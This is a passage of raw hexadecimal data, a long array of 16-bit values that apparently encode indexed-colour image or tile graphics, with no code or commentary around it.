0x6666,0x3566,0x66BB,0x1829,0x4529,0x8181,0x2360,0x2323,
0xEACE,0x4646,0x1111,0x4611,0x1111,0x1111,0x11A3,0x1146,
0xA3A3,0x4747,0x1147,0x9411,0x1B1B,0x1B84,0xA3A3,0x841B,
0x577F,0x94A6,0x7F84,0x187B,0x7B45,0x7B05,0x6645,0xBBFA,
0x2323,0x2981,0xBBFA,0x66FA,0x2960,0x6666,0x6666,0x6666,
0x4711,0x4E84,0x57A6,0xDFD6,0x9447,0x841B,0x57A6,0xDFD6,
0x841B,0xA64E,0x57A6,0x66D6,0x4E4E,0x7FA6,0xD67B,0xFADF,
0x1818,0xDF81,0xBB29,0x66BB,0xBBAC,0xBBFA,0xACAC,0xBBBB,
0xBB66,0x66BB,0xBB66,0xBBBB,0x6666,0xBBBB,0x6666,0xBB66,
0xACAC,0xACAC,0xACAC,0xACAC,0xFAFA,0xFAFA,0xACAC,0xACAC,
0xFAAC,0x66FA,0xFAFA,0xACAC,0xACAC,0xBBBB,0xFAFA,0xFAFA,
0xFA66,0xBBBB,0xFABB,0xFAFA,0x6666,0xFA66,0xACBB,0xACAC,
0xBBBB,0x6666,0xBB66,0xACAC,0xBB66,0x66BB,0x6666,0xBBFA,
0xA8A8,0x56A8,0x5656,0xD7AB,0xA8AC,0xA8A8,0xA856,0xD7A8,
0xACAC,0xA8A8,0xA8A8,0xABA8,0xACAC,0xA8A8,0xA8A8,0xA8A8,
0xFAFA,0xA8AC,0xA8A8,0xA8A8,0xFABB,0xACFA,0xA8AC,0xA8A8,
0xACAC,0xFAAC,0xACFA,0xA8AC,0xACAC,0xACAC,0xACAC,0xFAFA,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,
0xABAB,0xABAB,0xD7D7,0xD7D7,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xACAC,0xA8A8,0xACAC,0xACAC,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,
0xABAB,0xD7D7,0xD7D7,0xD7D7,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xACAC,0xACAC,0xACAC,0xACAC,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xACAC,0xACAC,0xACAC,0xACAC,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xA8A8,0xD7D7,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xACAC,0xACAC,0xACAC,0xACAC,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7A8,0xD7D7,0xD7D7,0xD7D7,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xACAC,0xACA8,0xACAC,0xACAC,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8AC,0xA8A8,0xACAC,0xA8A8,
0xD7D7,0xD7D7,0xD7D7,0xA8A8,0xD7D7,0xD7D7,0xD7D7,0xA8A8,
0xD7D7,0xD7D7,0xD7AB,0xA8A8,0xA8D7,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xACA8,0xA8A8,0xA8A8,0xA8A8,0xFAA8,
0xA8A8,0xA8A8,0xACA8,0xFAAC,0xA8A8,0xA8A8,0xACAC,0x42FA,
0xACAC,0x4242,0xF2F2,0xF2F2,0xACAC,0x4242,0x4242,0x4242,
0xACAC,0x4242,0x4242,0xD5D5,0xFAAC,0x9F42,0x9F9F,0x9F9F,
0x42FA,0xAA9F,0xAAAA,0xAAAA,0x9F42,0xAA9F,0xF5AA,0xF5F5,
0x9F42,0xAA9F,0xF5AA,0xF5F5,0x9F9F,0xAA9F,0xAAAA,0xF5F5,
0x42F2,0x4242,0x4242,0x42F2,0x4242,0x4242,0x4242,0x4242,
0x4242,0x4242,0x4242,0x4242,0x9F9F,0x42D5,0x4242,0x4242,
0xAAAA,0x9F9F,0x42D5,0x4242,0xF5F5,0xAAF5,0x9F9F,0x4242,
0xF5F5,0xF5F5,0xAAAA,0x429F,0xF5F5,0xF5F5,0xF5F5,0x9FAA,
0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,
0x4242,0xFA42,0x42FA,0x4242,0x4242,0x4242,0x4242,0x4242,
0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,
0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,0x4242,
0x4242,0x4242,0xD5D5,0x42D5,0x4242,0x4242,0x4242,0x4242,
0x4242,0x4242,0x4242,0xFA42,0x4242,0x4242,0x4242,0xAC42,
0x4242,0x4242,0x4242,0xACFA,0x4242,0x4242,0xFA42,0xACFA,
0x4242,0x4242,0xFAFA,0xACFA,0x4242,0xC042,0xFAFA,0xACAC,
0xAC42,0xA8AC,0xA8A8,0xA8A8,0xACAC,0xA8AC,0xA8A8,0xA8A8,
0xACAC,0xA8A8,0xA8A8,0xA8A8,0xACAC,0xA8A8,0xA8A8,0xD7A8,
0xA8AC,0xA8A8,0xA8A8,0xA8A8,0xA8AC,0xA8A8,0xA8A8,0xA8A8,
0xA8AC,0xA8A8,0xA8A8,0xA8A8,0xA8AC,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xD7D7,0xD7D7,0xD7D7,0xD7A8,0xD7D7,0xD7D7,0xD7D7,
0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xD7D7,0xA8D7,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,0xA8A8,
0x67FA,0x6767,0x6767,0x6767,0x35C7,0x6767,0x6767,0x6767,
0x66DF,0x3567,0x3535,0x3535,0x66DF,0x3567,0x3535,0x3535,
0xBBDF,0x3535,0xBB35,0xBB35,0x3566,0x66BB,0x6666,0x6666,
0x66BB,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,
0x6767,0x6767,0x6767,0x6767,0x6767,0x6767,0x6767,0x6767,
0x3535,0x3535,0x3535,0x3535,0x3535,0x3535,0x3535,0x3535,
0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,
0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,
0x6767,0x6767,0xBB35,0xBBBB,0x3567,0xBBBB,0x35BB,0x6767,
0x3535,0x3535,0x3535,0xFA35,0x3535,0xBB35,0x6666,0xBB66,
0x6666,0x6666,0xBB66,0xBBBB,0x6666,0xBB66,0xBBBB,0xBBBB,
0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,
0x6735,0x6767,0x6767,0xBBBB,0x6767,0xBBBB,0xBBBB,0x6735,
0xFAFA,0xBBBB,0x6735,0x6767,0xBBBB,0xBBBB,0xBBBB,0xBBBB,
0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xBBBB,
0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,
0x6735,0x6767,0x5656,0x6667,0x6767,0x6767,0x6767,0xC0FA,
0xBBBB,0xBBBB,0x67BB,0xC7FA,0xBBBB,0xBBBB,0x35BB,0xC7BB,
0xBBBB,0xBBBB,0xBBBB,0xC7BB,0xBBBB,0xBBBB,0xBBBB,0x66BB,
0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,0x6666,
0xC042,0xC0C0,0xC0C0,0xC0C0,0x9F9F,0x9F9F,0x9F9F,0x9F9F,
0x9F9F,0x9F9F,0x9F9F,0x9F9F,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0xDFC7,0x8181,0x8181,0x8181,0xC766,0x81DF,0x8181,0x8181,
0xC0C0,0xC0C0,0xACFA,0x6767,0x9F9F,0x9F9F,0xFAC0,0xBB35,
0x9F9F,0x9F9F,0xBBC7,0xBBBB,0xDFDF,0xDFDF,0xBBC7,0xBBBB,
0xDFDF,0xDFDF,0xBBC0,0x66BB,0xDFDF,0x9FDF,0xBB66,0x2966,
0xF5F5,0xC7DF,0x6666,0x6629,0xDF81,0x66C7,0xC729,0x6666,
0x67AC,0x3535,0x66BB,0xC729,0xBBBB,0xBBBB,0xC766,0xC7C7,
0xBBBB,0x2966,0x29C7,0xDFC7,0x66BB,0xC729,0xC7C7,0x81DF,
0x2966,0xC729,0xDFC7,0xB981,0x6629,0xC729,0x81DF,0xB9B9,
0x6666,0xDF29,0xF581,0xB9B9,0x2966,0x81DF,0xF581,0xB9B9,
0xC7C7,0x81DF,0x8181,0xDF81,0xDFDF,0xF581,0xB9B9,0x8181,
0xF581,0xB9B9,0x81B9,0xB981,0xB9B9,0xB9B9,0x81F5,0xB9B9,
0xB9B9,0xF5B9,0xB9F5,0xB9B9,0xB9B9,0xF5B9,0xD6B9,0xB9B9,
0xB9B9,0xB9F5,0xD6D6,0xB9B9,0xF5B9,0xD6B9,0xB9D6,0xB9B9,
0xB981,0xDF81,0xF581,0x8181,0xF5B9,0x8181,0xB9F5,0xF581,
0x81B9,0xF581,0xF5B9,0xB9F5,0xF5F5,0xB9F5,0xF5B9,0xB9B9,
0xF5F5,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9D6,0xB9B9,0xB9D6,
0xD6B9,0xB9D6,0xD6B9,0xB9D6,0xD6B9,0xB9D6,0xD6D6,0xB9B9,
0x1818,0x7F7B,0xA67F,0x2323,0x81F5,0x8181,0x6081,0x6060,
0xF5F5,0x81F5,0x8181,0xC7DF,0xF5F5,0xF5F5,0x81F5,0xDFDF,
0xB9F5,0xB9B9,0xF5B9,0x8181,0xB9B9,0xB9B9,0xB9B9,0x81B9,
0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0x2323,0x2323,0x2323,0x2918,0x1860,0x8118,0x2945,0x6629,
0x29C7,0x6629,0x6666,0x66C7,0xC7C7,0x66C7,0xC766,0xC7C7,
0xDFDF,0xC7DF,0xC729,0xC7DF,0xDF81,0xDF81,0xC729,0xDFDF,
0x8181,0xDF81,0xC729,0xDFDF,0x81B9,0x8181,0xDFDF,0xDFDF,
0x6666,0xBBBB,0x2966,0x6666,0x6666,0x6666,0xC766,0x66C7,
0x6666,0x6666,0x2966,0x29C7,0x2929,0x2929,0x6629,0xC7C7,
0x2929,0x2929,0x2929,0xC729,0x29C7,0xC7C7,0xC7C7,0xC7C7,
0xC7DF,0xC7C7,0xC7C7,0xC7C7,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0x2966,0x6666,0x6666,0x66C7,0xC766,0x29C7,0x6666,0xC729,
0xC766,0xC7C7,0x66C7,0x2966,0x29C7,0xC7C7,0xC7C7,0x6666,
0xC7DF,0xDF29,0xDFC7,0xC7C7,0xDFDF,0xC7C7,0xDFDF,0xC7DF,
0xDFDF,0xC7C7,0xDFDF,0xDFC7,0xDFDF,0xC7DF,0xDFC7,0xC7DF,
0x6666,0xBB66,0x66BB,0x6666,0x6629,0x6666,0xBBBB,0x66BB,
0xC7C7,0x6666,0xBB66,0xBBBB,0xC766,0x66C7,0x6666,0xBB66,
0x6666,0xC7C7,0x66C0,0x6666,0x6629,0xC766,0xC0C7,0x6666,
0xC7C7,0x66C0,0xC7C7,0x66C7,0xC7DF,0xC0C7,0xC766,0xC7C7,
0xACBB,0xACAC,0xACAC,0xACAC,0xFA66,0xACBB,0xACAC,0xACAC,
0x66BB,0xFA66,0xACAC,0xACAC,0xBBBB,0xC0FA,0xBBC0,0xACBB,
0xFA66,0xFAFA,0xC0FA,0xFAC0,0xFA66,0xBBFA,0xFABB,0xC0C0,
0xFA66,0x6666,0xFA66,0x66FA,0x66C0,0xC0C0,0xC0C0,0xC0C0,
0xFAFA,0xACBB,0xACAC,0xACAC,0xFAAC,0xFAFA,0xACFA,0xACAC,
0xACAC,0xBBAC,0xFAFA,0xFAFA,0xBBBB,0xBBBB,0xFABB,0xC0FA,
0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAC0,0xFAFA,0xFAFA,0xFAFA,
0xC0C0,0x66C0,0xFAFA,0x6666,0xC0C0,0xC7C7,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,
0xACAC,0xACAC,0xACAC,0xACAC,0xFAC0,0xBBBB,0xBBBB,0xBBFA,
0xC0FA,0xC0C0,0xFAFA,0xFAFA,0xFAFA,0xC066,0xC0C0,0xFAC0,
0x6666,0xFAFA,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,
0xACAC,0xACAC,0xACAC,0xACAC,0xFABB,0xFAFA,0xFAFA,0xFAFA,
0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xC0C0,0xFAFA,0xC066,0xC0C0,0xC7C7,0xC0C0,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,
0xACAC,0xACAC,0xACAC,0xACAC,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0x6666,0x6666,0x6666,0x6666,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,
0xACAC,0xACAC,0xACAC,0xACAC,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0x6666,0x6666,0xC066,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,
0xACAC,0xACAC,0xACAC,0xACAC,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xBBFA,0xBBBB,0xBBBB,0xBBBB,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xC066,0xC0C0,0xC0C0,0xFAC0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,
0xACAC,0xACAC,0xACAC,0xACAC,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xBBBB,0xBBBB,0xBBBB,0xBBBB,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xC0C0,0xFAC0,0xFAFA,0xFAFA,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xFAAC,0x9FC0,0xACAC,0xACAC,0xC0FA,0x9F9F,
0xACAC,0xFAAC,0xC0C0,0x9F9F,0xBBFA,0xFABB,0x9FC0,0x9F9F,
0xBBBB,0xFABB,0x9FC0,0xAAAA,0xFAFA,0xC0FA,0xAAC7,0xAAAA,
0xFAFA,0xC0FA,0xAAC7,0xAAAA,0xC0C0,0xC0C0,0xAAC7,0xAAF5,
0x9F9F,0xAA9F,0xAAAA,0xF5F5,0x9F9F,0xAA9F,0xAAAA,0xF5AA,
0x9F9F,0x9F9F,0xAAAA,0xF5AA,0x9F9F,0x9F9F,0xAAAA,0xAAAA,
0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,
0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,0xAAAA,
0xF5F5,0xF5F5,0xF5F5,0xAAF5,0xF5F5,0xF5F5,0xF5F5,0xF5F5,
0xF5F5,0xB9F5,0xB9B9,0xF5B9,0xF5F5,0xF5F5,0xB9F5,0xF5B9,
0xF5AA,0xF5F5,0xF5F5,0xF5F5,0xF5AA,0xF5F5,0xF5F5,0xF5F5,
0xAAAA,0xF5AA,0xF5F5,0xAAF5,0xAAAA,0xAAAA,0xF5F5,0xAAF5,
0x429F,0x4242,0x4242,0x4242,0x9FAA,0x9F9F,0x9F9F,0xC09F,
0x9FAA,0x9F9F,0x9F9F,0xC0C0,0x9FAA,0x9FC7,0xC0C7,0xC0C0,
0x9FAA,0xC0C0,0xC0C0,0xC0C0,0xC7AA,0xC0C0,0xC0C0,0xC0C0,
0xC7AA,0xC0C0,0xC0C0,0xC0C0,0xC0C7,0xC0C0,0xC0C0,0xC0C0,
0xC042,0xFAC0,0xFAFA,0xACAC,0xC0C0,0xFAC0,0xFAFA,0xACAC,
0xC0C0,0xFAC0,0xFAFA,0xACAC,0xC0C0,0xFAFA,0xFAFA,0xFAFA,
0xFAC0,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xFAFA,0xC0FA,0xC0C0,0xFAC0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,0xACAC,
0xACAC,0xACAC,0xACAC,0xACAC,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xFAFA,
0xFAFA,0xFAFA,0xFAFA,0xFAFA,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0x6666,0x6666,0x6666,0x6666,0x2929,0x2929,0x2929,0x2929,
0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,
0x4545,0x4545,0x4529,0x4545,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0x6666,0x6666,0x6666,0x6666,0x2929,0x2929,0x2929,0x2929,
0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,
0x4545,0x4545,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0x6666,0x6666,0x6666,0x6666,0x2929,0x2929,0x2929,0x2929,
0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,
0xDFDF,0xDFDF,0xC7DF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0x6666,0x6666,0x6666,0x6666,0x2929,0x2929,0x2929,0x2929,
0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,
0xC7C7,0xC7C7,0xC7DF,0xDFC7,0xDFDF,0xDFDF,0xDFDF,0x7387,
0xDFDF,0xDFDF,0x18DF,0x0C73,0xDFDF,0xDFDF,0x02DF,0x0C0C,
0x6666,0x6666,0x6666,0x6666,0x2929,0x2929,0x2929,0x2929,
0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,0x2929,
0x0202,0xC728,0xC7C7,0xC7C7,0x0C0C,0x730C,0xDF28,0xDFDF,
0x0C0C,0x0C0C,0x610C,0xDFDF,0x0C0C,0x0C0C,0x0C0C,0xDF02,
0x6666,0xDFC7,0xDFDF,0xDFDF,0x6629,0x2966,0xC7C7,0x29C7,
0x2929,0x2929,0x2929,0xC729,0x2929,0x2929,0xC729,0xDFDF,
0xC7C7,0xC7C7,0xDFDF,0x0C3D,0xDFDF,0xDFDF,0xDF81,0x0C73,
0xDFDF,0x8181,0x18DF,0x0C0C,0x8181,0xDF81,0x02DF,0x0C0C,
0xC7C7,0xC7C7,0x66C7,0x6666,0xC729,0xC7C7,0x6666,0x2929,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7DF,0xC7C7,0xC7C7,0xC7C7,
0x02C2,0xC787,0xC7C7,0xC7C7,0x0C0C,0x3D0C,0xDF87,0xDFDF,
0x0C0C,0x0C0C,0xDF6F,0xDFDF,0x0C0C,0x0C0C,0xDF24,0xDFDF,
0xC766,0x8181,0xB981,0xB9B9,0xDFC7,0x81DF,0xB9B9,0xB9B9,
0xDFC7,0xB9DF,0xB9B9,0xB9B9,0xDFDF,0xB954,0xB9B9,0xD6B9,
0x81DF,0xF543,0xB9B9,0x6F23,0x28DF,0x0C0C,0x0C0C,0x0C0C,
0xD181,0x0C0C,0x0C0C,0x0C0C,0xD181,0x0C0C,0x0C0C,0x0C0C,
0xB9B9,0xD6D6,0xB9B9,0xD6B9,0xD6B9,0xB9D6,0xD6B9,0xD6D6,
0xD6D6,0xB9D6,0xD6D6,0xD6D6,0xD6D6,0xD6B9,0xD6D6,0x7BD6,
0x0C0C,0x92C2,0xD6D6,0xD67B,0x0C0C,0x7A0C,0x7B92,0xD67B,
0x0C0C,0x0C0C,0xD10C,0xD67B,0xC20C,0x0C0C,0x7A0C,0xD623,
0xD6D6,0xD6D6,0xD6D6,0xD6B9,0xD67B,0xD6D6,0xD67B,0xD6D6,
0xD6D6,0x7BD6,0xD67B,0xD6D6,0xD6D6,0x7BD6,0xD67B,0xD6D6,
0x23D6,0x7B7B,0x23D6,0x0C6F,0x0C28,0x0C0C,0x0C0C,0x0C0C,
0x0CD1,0x0C0C,0x0C0C,0x0C0C,0x0CD1,0x0C0C,0x0C0C,0x0C0C,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0xC20C,0xD692,0xD6D6,0x7BD6,0x0C0C,0x927A,0x7B7B,0x7B7B,
0x0C0C,0x0C0C,0x7BD1,0x7B7B,0x0CC2,0x0C0C,0x237A,0x7B7B,
0xB9B9,0x54B9,0xDFDF,0x81DF,0xB9D6,0xB9B9,0xDF81,0x81DF,
0xD6D6,0xB9B9,0x8181,0x81DF,0xD6D6,0xD6D6,0x8118,0x8181,
0x237B,0x0202,0x0C6F,0x730C,0x617B,0x0C0C,0x0C0C,0x0C0C,
0x0CD1,0x0C0C,0x0C0C,0x0C0C,0x0C24,0x0C0C,0x0C0C,0x6F02,
0xDF81,0xDFDF,0xDFDF,0xDFDF,0x8181,0xDFDF,0xDFDF,0xDFDF,
0x8181,0x8181,0xDF81,0xDFDF,0x1818,0xDF81,0x8181,0xDF81,
0x18CA,0x8181,0x8181,0x8181,0x610C,0x8118,0x8181,0x8181,
0x0C0C,0x816F,0x8181,0x8781,0x0C0C,0x870C,0x7381,0x0C0C,
0xDFDF,0xDF81,0xC7C7,0xDFDF,0xDFDF,0x81DF,0xC7DF,0xDFC7,
0xDFDF,0x81DF,0xDF81,0xC7C7,0xDFDF,0xDFDF,0xDF81,0xC7DF,
0xDF81,0xDFDF,0x81DF,0x28DF,0xDF81,0x28DF,0x6102,0x0C0C,
0x6102,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,
0xDFC7,0xC7C7,0xC7C7,0xC7C7,0xC7DF,0xC7DF,0xC7C7,0xC0C0,
0xDFDF,0xDFC7,0xC7DF,0xC7C0,0xDFDF,0xDFDF,0xC7DF,0xC7C7,
0x0202,0xC7DF,0xC7C7,0xC7C7,0x0C0C,0xDF87,0xDFC7,0xDFDF,
0x0C0C,0xDF02,0xDFDF,0xDFDF,0x0C0C,0xDF24,0xDFDF,0xDFDF,
0xC0C7,0xC0C0,0xC0C0,0xC0C0,0xC7C7,0xC0C7,0xC0C0,0xC0C0,
0xC7C7,0xC7DF,0xC7C7,0xC7C7,0xC7C7,0xDFC7,0xC7DF,0xC7C7,
0x02C7,0x610C,0xDF87,0x0287,0x02DF,0x0C0C,0x3D0C,0x0C0C,
0x87DF,0x0C0C,0x0C0C,0x0C0C,0x87DF,0x0C0C,0x0C0C,0x0C0C,
0xC0C0,0xC7C0,0xC7C7,0xC0C0,0xC0C0,0xC0C0,0xC7C7,0xC7C7,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0x2881,0xC7C7,0xC7C7,0xC7C7,
0x0C0C,0x4361,0xC7C7,0xC743,0x0C0C,0x730C,0x2843,0x0C0C,
0x0C0C,0x0C0C,0x8702,0x0C0C,0xC20C,0x0202,0x8718,0x0C0C,
0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xC7DF,0xC7C7,0xC7C7,0xC7C7,0xDFDF,0xC7DF,0xC7C7,0xC7C7,
0xC7C7,0x6F43,0x0C0C,0x87C2,0x0C0C,0x0C0C,0x0C0C,0x3D0C,
0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0xC20C,0x0C0C,
0xC0C0,0xC7C7,0xC0C7,0xC0C0,0xC0C0,0xC7C0,0xC7C7,0xC7C7,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,
0xC7C7,0xC7C7,0x28C7,0x0273,0xC787,0xC7C7,0x61C7,0x0C0C,
0x870C,0xDFDF,0x61DF,0x0C0C,0x3D0C,0xDF18,0x61DF,0x0C0C,
0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xDFC7,0xC7C7,0xC728,0xC7C7,
0xC787,0x0C02,0x240C,0xC7C7,0x0C0C,0x0C0C,0x0C0C,0xC761,
0x0C0C,0x0C0C,0x0C0C,0x280C,0x0C0C,0x0C0C,0x6F0C,0xDF02,
0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,
0x02C7,0xC20C,0xC743,0xC7C7,0xC2DF,0x0C0C,0x240C,0xC743,
0x61DF,0x0C0C,0x0C0C,0xDF61,0x61DF,0x0C0C,0x0C0C,0x870C,
0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,
0xC7C7,0x61C7,0x610C,0xC787,0xC7C7,0x0C73,0x0C0C,0xC702,
0xDFDF,0x0C3D,0x0C0C,0xDF87,0xDFDF,0x0C73,0x0C0C,0xDF87,
0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xDFC7,0x0202,0x3D02,0x0C0C,
0x02DF,0x0C0C,0x0C0C,0x0C0C,0x18DF,0x0C73,0x0C0C,0x0C0C,
0xC0C0,0xC0C0,0xAAC7,0xF5F5,0xC0C0,0xC0C0,0x54C7,0xF5F5,
0xC7C7,0xC7C7,0xDFC7,0xF5AA,0xC7C7,0xC7C7,0xC7C7,0xF554,
0x0287,0x0202,0x3D0C,0x5443,0x0C0C,0x0C0C,0x0C0C,0xDF24,
0x0C0C,0x0C0C,0x0C0C,0x813D,0x0C0C,0x0C0C,0x0C0C,0x870C,
0xF5F5,0xF5F5,0xF5F5,0xF5F5,0xF5F5,0xF5F5,0xF5F5,0xF5F5,
0xF5B9,0xF5F5,0xF5F5,0xF5F5,0xB9F5,0xF5B9,0xF5F5,0xF5F5,
0xB9F5,0x6187,0xB924,0xB9B9,0x0254,0x0C0C,0xD10C,0xB9B9,
0x0C02,0x0C0C,0xD10C,0xB9B9,0x3D18,0x0C0C,0x020C,0x5454,
0xF5F5,0xF5F5,0xF5F5,0xAAF5,0xF5F5,0xF5F5,0xF5F5,0xDFAA,
0xF5F5,0xF5F5,0xF5B9,0xDFAA,0xF5F5,0xB9F5,0xF5F5,0xC754,
0xB9B9,0x87B9,0x0224,0xC781,0xB9B9,0x24F5,0x0C0C,0x8773,
